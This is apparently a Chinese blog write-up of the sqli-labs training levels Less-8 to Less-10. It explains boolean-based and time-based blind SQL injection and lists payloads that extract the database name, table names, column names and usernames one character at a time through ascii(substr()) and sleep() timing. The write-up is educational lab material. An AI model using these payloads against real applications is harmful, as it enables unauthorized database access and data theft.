sqli-labs-布尔盲注 (Less-8),时间盲注 (Less-9~10)

布尔盲注:

特点: 无数据回显,无错误信息,只有"你在"/"不在"两种状态。

bash 复制代码
-- 长度判断:页面正常
?id=1' and length(database())=8 --+
-- 逐位猜解:ASCII 115 对应 's'
?id=1' and ascii(substr(database(),1,1))=115 --+
-- 表名(第一个表的第一位,ASCII 101 对应 'e')
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
-- 字段名(users 表第一个字段第一位,ASCII 117 对应 'u')
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117 --+
-- username 第一位(ASCII 68 对应 'D')
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+

Less-8 单引号闭合,靠页面是否回显 "You are in..........." 判断条件真假,用 ascii(substr(...)) 逐位爆破所有数据

盲注提速 :实际可用二分法(>N / <N)替代等值爆破,或写脚本自动化

时间盲注:

特点: 无论查询成功与否都返回相同页面,只能用延迟判断。

bash 复制代码
Less9
--判断闭合与注入存在 (单引号 + sleep 验证)
?id=1' and sleep(5) --+
--爆库名长度
?id=1' and if(length(database())=8,sleep(5),1) --+
--逐位猜解库名
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
--爆表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) --+
-- 字段名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+
-- 数据(username 第一位)
?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1) --+


Less10
-- 验证闭合
?id=1" and sleep(5) --+
-- 爆库名长度(security 长度为 8)
?id=1" and if(length(database())=8,sleep(5),1) --+
-- 逐位猜库名(ASCII 115 = 's')
?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
-- 爆表名(第一个表第一位,ASCII 101 = 'e')
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) --+
-- 爆字段名
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+
-- 爆数据
?id=1" and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1) --+

Less-9 单引号闭合,无回显无报错,全靠 if(猜解条件, sleep(5), 1) 的响应时间差逐位爆破数据。(显示在等待sqli请求)

盲注提速 :实际可用二分法(>N / <N)替代等值爆破,或写脚本自动化

Less-10 是 Less-9 的双引号闭合版本

原理分析

  • IF(条件, sleep(5), 0) --- 条件为真时延迟5秒

  • 页面响应时间差异即为判断依据

  • 是最慢的注入方式,但在完全无回显时最可靠

  • 实际渗透中需考虑网络延迟和 sleep() 被禁用的情况(可用 benchmark() 替代)

相关推荐
勤恳的马龙1 天前
给 1088 个工具页批量注入 FAQ 和结构化数据:一次幂等的 SEO 工程
前端·javascript
htzyl2061 天前
javaScript中,让你全面了解动态import()的四个真实用途,及与静态import的区别
前端·javascript
钉先生贾1 天前
HarmonyOS 7.0 性能排障实战 43:图片与大资源加载抖动时,怎样区分解码、布局与状态更新
java·前端·harmonyos
亿元程序员1 天前
我的 Cursor 年费会员都还没到期,Cursor 怎么就先没了?原来是马斯克出手了...
前端
polarisya1 天前
vue搭建知识
前端·javascript·vue.js
map_vis_3d1 天前
百度地图控件一览:缩放、比例尺、定位、城市列表、地图类型和 3D 导航
前端·javascript·地图·百度地图
Hilaku1 天前
国内前端面试最离谱的现象:笔试题考手写 Promise.all
前端·javascript·程序员
费曼学习法1 天前
把规格变成 AI 的输入契约:OpenSpec 在订单状态机重构中的一次落地记录
前端
htzyl2061 天前
TypeScript中替代enum的五种方案
前端·typescript
用户112936112191 天前
标签数量一个不多一个不少,为什么构建还是报 missing end tag?
前端·vue.js·ai编程